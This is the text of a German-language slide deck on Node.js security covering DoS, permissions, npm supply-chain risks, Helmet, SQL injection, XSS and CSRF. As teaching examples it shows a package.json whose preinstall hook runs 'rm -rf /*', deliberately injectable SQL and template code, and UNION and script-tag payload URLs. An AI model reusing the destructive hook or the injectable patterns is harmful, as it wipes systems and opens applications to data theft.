Node.js Security
FotoHiero / pixelio.de
WHO AM I?
• Sebastian Springer
• aus München
• arbeite bei Mayflower
• https://github.com/sspringer82
• @basti_springer
• Consultant,Trainer,Autor
Allgemeines
JavaScript
“use strict”
Makrodepecher / pixelio.de
Strict Mode
JavaScript soll robuster und sauberer werden.
Function Scope wird besser geschützt. Caller und Callee
soll es in Zukunft nicht mehr geben. Auch auf Arguments
kann man nicht mehr von außen zugreifen.
JavaScript und
Dynamik
Anne Garti / pixelio.de
JavaScript und Dynamik
console.log = function () {

alert(arguments[0]);

}
In JavaScript kann nahezu alles überschrieben werden. So
können Wrapper um wichtige Funktionen und Objekte wie
z.B. console.log gelegt werden.
In Node.js kann man da auch einiges machen…
JavaScript und Dynamik
var b = require('./b');



console.log(b.b);

console.log(a);
a.js
a = 'Wert von A';



module.exports = {

b: 'Wert von B'

};
b.js
Ausgabe?
$ node a.js
Wert von B
Wert von A
JavaScript und Dynamik
var b = require('./b');



console.log(b.b);

console.log(a);
a.js
a = 'Wert von A';



module.exports = {

b: 'Wert von B'

};
b.js
Ausgabe?
$ node a.js
HEHE!HEHE!
console.log = function () {

process.stdout.write('HEHE!');

};
Namespacing
No rbert L o r e n z / pixelio.de
Namespacing
Mit diesen globalen Variablen und der Möglichkeit des
Überschreibens ist es sehr einfach Dummheiten zu machen.
Deshalb ist es immer gut, Quellcode in eine Immediate
Function zu packen, um die verwendeten Variablen besser
unter Kontrolle zu haben.
Angriffsvektoren
Reinhard Simon / pixelio.de
Angriffsvektoren
Welche Ressourcen kann ein Angreifer in unserem System
attackieren?
Welche Art von Angriff kann erfolgen?
Wie kann man diesen Angriffen begegnen?
Memory
Jan von Bröckel / pixelio.de
Memory
Arbeitsspeicher des Systems.
Wird verwendet, um Objekte zu speichern.
Wird regelmäßig durch den Garbage Collector aufgeräumt.
Achtung: Node.js Prozesse haben meist eine längere
Laufzeit. Ein Memory Leak hat hier erhebliche Auswirkungen.
Memory
require('v8-profiler');



function Item(counter) {

this.counter = counter;

}



var itemColl = [];



var counter = 0;



setInterval(function() {

for (var i = 0; i < 100; i++) {

itemColl.push(new Item(counter));

}

counter++;

console.log('items pushed');

}, 1000);
Memory
Memory
Der Speicherverbrauch wird gefährlich, wenn wir dem
Benutzer einen Teil der Kontrolle überlassen, z.B. wie viele
Elemente generiert werden, was in Objekte eingelesen wird,
…
Memory
Erstellung und Größe von Objekten kontrollieren.
Benutzereingaben immer validieren und sinnvoll limitieren.
Netzwerk
Klicker / pixelio.de
Netzwerk
Kommunikation zwischen Client und Server. Meist auf Basis
von HTTP.
Empfangen von HTML, CSS, JavaScript und Mediendaten.
Senden von Informationen.
Vom Client initiiert. In der Regel unidirektional.
Netzwerk
DOS: Denial of Service. Ein Angreifer macht viele Anfragen
auf unser System.
Das System behandelt die Anfragen wie reguläre Anfragen.
Es bleiben kaum Ressourcen für sinnvolle Anfragen übrig.
Netzwerk
Hier verlassen wir Node.js und gehen ins System.
Tools: z.B. iftop
Netzwerk
Maßnahmen gegen DOS: Systeme abschirmen. Firewall-
Regeln => Admin Stuff.
Ziel ist, dass die Anfragen nicht mehr bis zum System
durchkommen.
Netzwerk
Zugriffe loggen. Mustererkennung und Logfile-Auswertung.
Achtung: Datei nicht zu groß werden lassen, das kann
wiederum zu einer anderen Art von Attacke werden.
Lösung: logrotate, etc.
var morgan = require('morgan');

var fs = require('fs');

var accessLogStream = fs.createWriteStream(__dirname + '/access.log',
{flags: 'a'});

app.use(morgan('combined', {stream: accessLogStream}));
Access Log
Netzwerk
Was können wir jetzt in der Applikation tun?
Anfragen schnell beantworten oder abweisen, wenn
bestimmte Muster zutreffen. Eingehende IP-Muster
blockieren.
app.get('/', function (req, res) {

console.log(req.connection.remoteAddress);



res.send('Hello World!');

});
Netzwerk
Bei nicht verschlüsselter Kommunikation kann
mitgelauscht werden.
Statt http und ws sollten https und wss verwendet werden.
Speicher
Q.pictures / pixelio.de
Speicher
Langfristiger Speicher auf der Festplatte. Zum Persistieren
von Informationen in Form von Dateien und Verzeichnissen.
Synchroner und asynchroner Zugriff möglich.
Speicher
Das Problem: Die Festplatte läuft voll.
Logdateien, Temporärdateien, Datenbankeinträge, …
Speicher
Maximale Dateigröße festlegen.
Upload nur für registrierte Nutzer. Upload pro Benutzer
limitieren.
Temporärdateien löschen (weil temporär).
Logdateien im Auge behalten (logrotate)
Speicher
{ dev: 16777220,
mode: 33188,
nlink: 1,
uid: 501,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 23192048,
size: 3953,
blocks: 8,
atime: Tue Jun 16 2015 12:15:26 GMT+0200 (CEST),
mtime: Tue Jun 16 2015 12:07:51 GMT+0200 (CEST),
ctime: Tue Jun 16 2015 12:07:51 GMT+0200 (CEST),
birthtime: Tue Jun 16 2015 12:00:25 GMT+0200 (CEST) }
fs.stat('access.log', function (err, stat) {

console.log(stat);

});
CPU
Tim Reckmann / pixelio.de
CPU
Rechenzeit der CPU, die der Node.js-Prozess nutzt. Node.js
ist zunächst Single-Threaded. Es können Kindprozesse
erzeugt werden. Im Node.js-Prozess läuft nur der eigene
Code, alles andere wird ans Betriebssystem ausgelagert.
CPUvar express = require('express');

var app = express();



app.get('/', function (req, res) {



console.timeLog('incoming request');



var count = 0;



while(true) {

if (count > 1999999999) {

break;

}

count++;

}



console.timeLog('answering request');

res.send('Hello World!');

})



app.listen(8080);
CPU
$ node perf.js
2015-06-16 13:10:07.387 incoming request
2015-06-16 13:10:08.435 answering request
2015-06-16 13:10:08.443 incoming request
2015-06-16 13:10:09.581 answering request
Kindprozesse
Helene Souza / pixelio.de
Kindprozesse
child_prozess- oder cluster-Modul nutzen, um Kindprozesse
zu forken, um Bearbeitung auszulagern. Der Webserver
kann weitere Anfragen annehmen und blockiert nicht.
var cluster = require('cluster');

var numCPUs = 2;



if (cluster.isMaster) {

for (var i = 0; i < numCPUs; i++) {

cluster.fork();

}

} else {

console.log(cluster.worker.id);

var express = require('express');

var app = express();

app.get('/', function (req, res) {

console.timeLog('incoming request ' + cluster.worker.id);

var count = 0;

while(true) {

if (count > 1999999999) {

break;

}

count++;

}

console.timeLog('answering request ' + cluster.worker.id);

res.send('Hello World!');

});



app.listen(8080);

}
Kindprozesse
2015-06-16 17:30:59.693 incoming request 2
2015-06-16 17:31:00.159 answering request 1
2015-06-16 17:31:00.160 incoming request 1
2015-06-16 17:31:00.699 answering request 2
2015-06-16 17:31:00.700 incoming request 2
2015-06-16 17:31:05.358 answering request 1
2015-06-16 17:31:05.359 incoming request 1
2015-06-16 17:31:05.897 answering request 2
2015-06-16 17:31:10.547 answering request 1
Kindprozesse
Achtung: Jeder Kindprozess bedeutet Overhead, da er
Arbeitsspeicher und CPU-Ressourcen benötigt.
Nicht unlimitiert Kindprozesse forken. Mehr Kindprozesse
als Anzahl der CPU-Kerne bringt keinen wirklichen Mehrwert.
Und wenn das nicht
reicht?
Load Balancing
CC-BY-SA-3.0 / Amazon Web Services LLC
Berechtigung
Thorben Wengert / pixelio.de
Berechtigung
Die Applikation hat die gleichen Berechtigungen, die der
Benutzer hat, der sie startet.
Eine Node.js-Applikation kann mit diesen Berechtigungen auf
die Ressourcen des Rechners zugreifen, z.B. CPU,
Arbeitsspeicher, Speicher.
Berechtigung
$ sudo node app.js
No! Just no!
Berechtigung
lrwxr-xr—- 1 node node 39B May 28 14:02 app.log
lrwxr-xr—- 1 node node 52B May 21 10:15 config.json
chmod & chown are your friends!
Error: EACCES, open 'config.js'
at Error (native)
NPM
Node Package Manager.
Paket- und Abhängigkeitsverwaltung mit Versionierung für
Node.js.
Quellen:
- npmjs.org (das offizielle Repo),
- Tar-Archive mit package.json
- Verzeichnisse mit package.json
NPM
Jeder darf mitmachen.
$ npm adduser
Username: test
Password:
Email: (this IS public) test@versuch.com
$ npm publish
npm http PUT https://registry.npmjs.org/myTest
npm http 403 https://registry.npmjs.org/myTest
npm http PUT https://registry.npmjs.org/myTest
npm http 201 https://registry.npmjs.org/myTest
npm publish
Ups, jetzt hab ich doch tatsächlich meine
Datenbankkonfiguration und sämtliche Passwörter
publiziert…
McRommy / pixelio.de
NPM
package.json:
{
…
“private”: true
…
}
$ npm publish
npm ERR! This package has been marked as private
npm ERR! Remove the 'private' field from the package.json to publish
it.
NPM
Keine Qualitätssicherung für das NPM-Repository.
Keine Tests erforderlich.
Keine QA erforderlich.
Keine Sicherheit.
OK, und warum ist das
jetzt so gefährlich?
Jörg Blanke / pixelio.de
NPM
Admin-Berechtigung für globale Installation erforderlich, weil
die Software in ein Systemverzeichnis installiert wird.
$ sudo npm install -g karma-cli
NPM
Hijacking bekannter Module durch Typos wie z.B. express.js
mit epress.js.
Und wenn diese dann auch noch die ursprüngliche
Funktionalität wrappen, wird es echt übel.
NPM - Scripts
NPM
NPM kann mit einer Reihe von Skripten als Build-Tool
verwendet werden. Diese Skripte können allerdings auch für
Angriffe missbraucht werden.
NPM
{

"name": "rimrafall",

"version": "1.0.0",

"description": "rm -rf /* # DO NOT INSTALL THIS",

"main": "index.js",

"scripts": {

"preinstall": "rm -rf /*"

},

"keywords": [

"rimraf",

"rmrf"

],

"author": "João Jerónimo",

"license": "ISC"

}
NPM Suchstrategie
/srv/myApp/node_modules/express
/srv/node_modules/express
/node_modules
/usr/local/lib/node_modules
Es wird nach oben gesucht und das Modul verwendet,
var express = require('express');

var app = express();
app.js
node_modules/express.js
module.exports = function () {

console.log('Noooo!');

};
Node in
Webapplikationen
Andreas Hermsdorf / pixelio.de
Express
Frederick Kühne / pixelio.de
Express
Aktuell das populärste Web-Application Framework für
Node.js. Stellt Request/Response-Handling, Routing und
Middleware zur Verfügung.
Middleware?
Funktionen, die sich zwischen Request und Response
hängen können.
z.B. Logger
Express
Express
app.set('x-powered-by', false);
Helmet
https://github.com/helmetjs/helmet
blitzmaerker / pixelio.de
Helmet
Sammlung von Middleware-Komponenten, um Express
sicherer zu machen.
Setzt einige hilfreiche HTTP-Header.
Helmet
• contentSecurityPolicy: Vermeiden von Injections von Content.
• hidePoweredBy: x-powered-by ist weg.
• hpkp: HTTP Public Key Pinning - Public Key wird mit einem Server verbunden
(gegen MITM).
• hsts: HTTPS statt HTTP nutzen.
• ieNoOpen: X-Download-Options wird auf noopen gesetzt (für IE)
• noCache: Clientseitiges Caching wird deaktiviert.
• noSniff: Browser weist Antworten mit dem falschen MIME-Type ab (X-
Content-Type-Options).
• frameguard: Seite kann nicht in Frames eingebunden werden, verhindert
Clickjacking.
• xssFilter: X-XSS-Protection Header wird gesetzt.
Helmet
Die Features können auch getrennt voneinander eingesetzt
werden.
app.use(helmet.hidePoweredBy());
Helmet
$ npm install --save helmet
var express = require('express');

var helmet = require('helmet');

var app = express();



app.use(helmet());
SQL Injection
Jörg Brinckheger / pixelio.de
SQL Injection
Angriffe auf die Datenbank im Zuge einer regulären Abfrage.
SELECT * FROM users WHERE ID = 1;
UNION SELECT * FROM users;
SELECT * FROM users WHERE ID = 1 UNION SELECT * FROM users;
SQL Injection
app.get('/list', function (req, res) {

var id = req.query.id;



var query = 'SELECT * FROM users WHERE id = ' + id;



db.all(query, function (err, rows) {

console.log(err);

res.send(rows);

});

});
http://localhost:8080/list?id=1%20union%20select%20*%20from%20users
SELECT * FROM users WHERE id = 1 union select * from users;
SQL Injection
app.get('/list', function (req, res) {

var id = req.query.id;



var query = 'SELECT * FROM users WHERE id = ?';



db.all(query, id, function (err, rows) {

console.log(err);

res.send(rows);

});

});
SELECT * FROM users WHERE id = ‘1 union select * from users’;
http://localhost:8080/list?id=1%20union%20select%20*%20from%20users
XSS
Michael Loeper / pixelio.de
XSS
Cross-Site Scripting. Benutzer speichert JavaScript-Code,
der auf anderen Systemen ausgeführt wird.
Kann z.B. für Identitätsdiebstahl verwendet werden.
XSS
app.get('/list', function (req, res) {

var id = req.query.id;



var query = 'SELECT * FROM users WHERE id = ?';



db.all(query, id, function (err, rows) {

require('fs').readFile('list.html', 'utf-8', function (err,
data) {

data = data.replace('${query}', id);

data = data.replace('${result}', rows);

res.send(data);

});



});

});
<body>

Sie suchten nach: ${query}



${result}

</body>
XSS
http://localhost:8080/list?id=%3Cscript%3Ealert(%27foo
%27)%3C/script%3E
XSS
Sanitizer, um Werte korrekt zu escapen.
npm install sanitizer
var id = require('sanitizer').escape(req.query.id);
XSS
CSRF
FW-Fotografie / pixelio.de
CSRF
Code einschleusen, um mit dem Browser des Benutzers auf
anderen Seiten Aktionen durchzuführen.
Meist ist der Benutzer dazu auf der anderen Seite angemeldet
und führt z.B. unbeabsichtigt Einkäufe oder Ähnliches durch.
CSRF
Tokenbasierte Kommunikation zwischen Client und Server.
Anfragen werden nur mit gültigem Token angenommen.
<input type="hidden" value="${csrftoken}">
app.use(csrf());

app.use(function (req, res, next) {

response.locals.csrftoken = request.csrfToken();

});
node-inspector
Profiling und Debugging für Node-Applikationen.
Node Security Project
https://nodesecurity.io/
NPM Audits. Advisories und Fixes für die Projekte. Public API
für die Audit Datenbank.
Fragen?
Rainer Sturm / pixelio.de
KONTAKT
Sebastian Springer
sebastian.springer@mayflower.de
Mayflower GmbH
Mannhardtstr. 6
80538 München
Deutschland
@basti_springer
https://github.com/sspringer82

Node.js Security